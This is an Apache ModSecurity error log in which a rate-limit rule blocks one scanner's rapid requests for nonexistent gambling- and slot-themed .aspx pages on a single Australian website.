[Thu Feb 26 11:42:25.922234 2026] [:error] [pid 3883:tid 3893] [client 51.75.119.161:53492] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZ_BIeA33x90V6yYHagqGwAAAUc"]
[Thu Feb 26 11:42:28.398746 2026] [:error] [pid 55618:tid 55635] [client 51.75.119.161:53504] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZ_BJB61Vrh12f_8oWRSAgAAAQ4"]
[Thu Feb 26 11:42:30.798961 2026] [:error] [pid 55618:tid 55641] [client 51.75.119.161:53510] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ_BJh61Vrh12f_8oWRSEAAAARQ"]
[Thu Feb 26 11:42:33.237961 2026] [:error] [pid 54990:tid 55003] [client 51.75.119.161:53518] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZ_BKXtr2qmt_mBhH2zS-QAAAAo"]
[Thu Feb 26 11:42:35.605895 2026] [:error] [pid 55618:tid 55627] [client 51.75.119.161:51930] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZ_BKx61Vrh12f_8oWRSHAAAAQY"]
[Thu Feb 26 11:42:37.993296 2026] [:error] [pid 25311:tid 25329] [client 51.75.119.161:51946] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZ_BLdfdM__yZAgJFSuCvwAAAY8"]
[Thu Feb 26 11:42:40.451071 2026] [:error] [pid 55618:tid 55626] [client 51.75.119.161:51956] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZ_BMB61Vrh12f_8oWRSIAAAAQU"]
[Thu Feb 26 11:42:42.891167 2026] [:error] [pid 55051:tid 55076] [client 51.75.119.161:51964] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZ_BMgmK1w2kZvh5eLHQeQAAAJY"]
[Thu Feb 26 11:42:45.192111 2026] [:error] [pid 25311:tid 25328] [client 51.75.119.161:51978] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZ_BNdfdM__yZAgJFSuDGQAAAY4"]
[Thu Feb 26 11:42:47.646749 2026] [:error] [pid 25311:tid 25323] [client 51.75.119.161:33636] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZ_BN9fdM__yZAgJFSuDNAAAAYk"]
[Thu Feb 26 11:42:50.037194 2026] [:error] [pid 25311:tid 25324] [client 51.75.119.161:33646] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZ_BOtfdM__yZAgJFSuDRwAAAYo"]
[Thu Feb 26 11:42:52.568738 2026] [:error] [pid 25311:tid 25321] [client 51.75.119.161:33648] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZ_BPNfdM__yZAgJFSuDXgAAAYc"]
[Thu Feb 26 11:42:54.963034 2026] [:error] [pid 3883:tid 3890] [client 51.75.119.161:33664] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZ_BPuA33x90V6yYHagqYwAAAUQ"]
[Thu Feb 26 11:43:15.540696 2026] [:error] [pid 55122:tid 55146] [client 51.75.119.161:48532] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZ_BU4LiR0OfjFxvcN-m4gAAANY"]
[Thu Feb 26 11:43:17.866361 2026] [:error] [pid 55618:tid 55631] [client 51.75.119.161:37990] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ_BVR61Vrh12f_8oWRSggAAAQo"]
[Thu Feb 26 11:43:20.378140 2026] [:error] [pid 55618:tid 55623] [client 51.75.119.161:37992] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZ_BWB61Vrh12f_8oWRShgAAAQI"]
[Thu Feb 26 11:43:22.882647 2026] [:error] [pid 25311:tid 25331] [client 51.75.119.161:38004] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZ_BWtfdM__yZAgJFSuD1AAAAZE"]
[Thu Feb 26 11:43:25.419484 2026] [:error] [pid 55618:tid 55636] [client 51.75.119.161:54438] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZ_BXR61Vrh12f_8oWRSiAAAAQ8"]
[Thu Feb 26 11:43:27.931993 2026] [:error] [pid 3883:tid 3909] [client 51.75.119.161:54440] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZ_BX-A33x90V6yYHagqsAAAAVc"]
[Thu Feb 26 11:43:30.427981 2026] [:error] [pid 3883:tid 3899] [client 51.75.119.161:54456] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZ_BYuA33x90V6yYHagqtgAAAU0"]
[Thu Feb 26 11:43:32.954929 2026] [:error] [pid 55618:tid 55624] [client 51.75.119.161:54468] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZ_BZB61Vrh12f_8oWRSlAAAAQM"]
[Thu Feb 26 11:43:35.459266 2026] [:error] [pid 55122:tid 55135] [client 51.75.119.161:36632] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZ_BZ4LiR0OfjFxvcN-m6gAAAMs"]
[Thu Feb 26 11:43:37.972874 2026] [:error] [pid 25311:tid 25317] [client 51.75.119.161:36638] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZ_BadfdM__yZAgJFSuEBwAAAYM"]
[Thu Feb 26 11:43:40.495155 2026] [:error] [pid 55051:tid 55066] [client 51.75.119.161:36654] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZ_BbAmK1w2kZvh5eLHQtwAAAIw"]
[Thu Feb 26 11:43:42.986606 2026] [:error] [pid 54990:tid 55004] [client 51.75.119.161:36670] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZ_Bbntr2qmt_mBhH2zTLgAAAAs"]
[Thu Feb 26 11:43:45.507702 2026] [:error] [pid 54991:tid 55038] [client 51.75.119.161:59350] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ_Bcd4Zx-mJ8gbRB2h_BAAAAFI"]
[Thu Feb 26 11:43:48.023500 2026] [:error] [pid 54990:tid 54999] [client 51.75.119.161:59354] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ_BdHtr2qmt_mBhH2zTLwAAAAY"]
[Thu Feb 26 11:43:50.540672 2026] [:error] [pid 55122:tid 55134] [client 51.75.119.161:59358] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ_BdoLiR0OfjFxvcN-m8wAAAMo"]
[Thu Feb 26 11:43:53.047142 2026] [:error] [pid 25311:tid 25317] [client 51.75.119.161:59372] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZ_BedfdM__yZAgJFSuEPQAAAYM"]
[Thu Feb 26 11:43:55.575275 2026] [:error] [pid 54991:tid 55028] [client 51.75.119.161:47786] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZ_Be94Zx-mJ8gbRB2h_CQAAAEg"]
[Thu Feb 26 11:43:58.083142 2026] [:error] [pid 55051:tid 55067] [client 51.75.119.161:47794] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZ_BfgmK1w2kZvh5eLHQwwAAAI0"]
[Thu Feb 26 11:44:00.481017 2026] [:error] [pid 55618:tid 55624] [client 51.75.119.161:47808] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZ_BgB61Vrh12f_8oWRS-AAAAQM"]
[Thu Feb 26 11:44:02.989700 2026] [:error] [pid 25311:tid 25320] [client 51.75.119.161:47822] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZ_BgtfdM__yZAgJFSuEVwAAAYY"]
[Thu Feb 26 11:44:05.480174 2026] [:error] [pid 25311:tid 25326] [client 51.75.119.161:39466] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZ_BhdfdM__yZAgJFSuEYQAAAYw"]
[Thu Feb 26 11:44:07.993227 2026] [:error] [pid 55618:tid 55640] [client 51.75.119.161:39478] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZ_Bhx61Vrh12f_8oWRTDgAAARM"]
[Thu Feb 26 11:44:10.505954 2026] [:error] [pid 3883:tid 3886] [client 51.75.119.161:39480] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZ_BiuA33x90V6yYHagq5wAAAUA"]
[Thu Feb 26 11:44:12.988814 2026] [:error] [pid 55051:tid 55065] [client 51.75.119.161:39488] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZ_BjAmK1w2kZvh5eLHQ2wAAAIs"]
[Thu Feb 26 11:44:33.982899 2026] [:error] [pid 55051:tid 55071] [client 51.75.119.161:45252] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZ_BoQmK1w2kZvh5eLHRCgAAAJE"]
[Thu Feb 26 11:44:36.430475 2026] [:error] [pid 25311:tid 25320] [client 51.75.119.161:43898] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZ_BpNfdM__yZAgJFSuEygAAAYY"]
[Thu Feb 26 11:44:38.933180 2026] [:error] [pid 55122:tid 55147] [client 51.75.119.161:43914] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZ_BpoLiR0OfjFxvcN-nIgAAANc"]
[Thu Feb 26 11:44:41.441463 2026] [:error] [pid 25311:tid 25332] [client 51.75.119.161:43924] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZ_BqdfdM__yZAgJFSuE5QAAAZI"]
[Thu Feb 26 11:44:43.931194 2026] [:error] [pid 25311:tid 25330] [client 51.75.119.161:43934] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZ_Bq9fdM__yZAgJFSuFBQAAAZA"]
[Thu Feb 26 11:44:46.434069 2026] [:error] [pid 55618:tid 55627] [client 51.75.119.161:54678] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZ_Brh61Vrh12f_8oWRTSwAAAQY"]
[Thu Feb 26 11:44:48.752227 2026] [:error] [pid 54991:tid 55032] [client 51.75.119.161:54690] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZ_BsN4Zx-mJ8gbRB2h_OgAAAEw"]
[Thu Feb 26 11:44:51.261411 2026] [:error] [pid 25311:tid 25333] [client 51.75.119.161:54706] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZ_Bs9fdM__yZAgJFSuFGwAAAZM"]
[Thu Feb 26 11:44:53.769509 2026] [:error] [pid 54991:tid 55031] [client 51.75.119.161:54710] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZ_Btd4Zx-mJ8gbRB2h_PAAAAEs"]
[Thu Feb 26 11:44:56.253265 2026] [:error] [pid 25311:tid 25336] [client 51.75.119.161:47432] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZ_BuNfdM__yZAgJFSuFMwAAAZY"]
[Thu Feb 26 11:44:58.756656 2026] [:error] [pid 55051:tid 55056] [client 51.75.119.161:47438] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZ_BugmK1w2kZvh5eLHRJQAAAII"]
[Thu Feb 26 11:45:01.088163 2026] [:error] [pid 25311:tid 25321] [client 51.75.119.161:47454] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZ_BvdfdM__yZAgJFSuFRwAAAYc"]
[Thu Feb 26 11:45:03.567586 2026] [:error] [pid 55051:tid 55073] [client 51.75.119.161:47470] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZ_BvwmK1w2kZvh5eLHRKgAAAJM"]
[Thu Feb 26 11:45:05.909750 2026] [:error] [pid 3883:tid 3902] [client 51.75.119.161:58822] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZ_BweA33x90V6yYHagrRAAAAVA"]
[Thu Feb 26 11:45:08.408803 2026] [:error] [pid 54990:tid 54998] [client 51.75.119.161:58826] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZ_BxHtr2qmt_mBhH2zTQQAAAAU"]
[Thu Feb 26 11:45:10.873749 2026] [:error] [pid 55618:tid 55640] [client 51.75.119.161:58832] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZ_Bxh61Vrh12f_8oWRTYwAAARM"]
[Thu Feb 26 11:45:13.195312 2026] [:error] [pid 55618:tid 55631] [client 51.75.119.161:58834] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZ_ByR61Vrh12f_8oWRTfgAAAQo"]
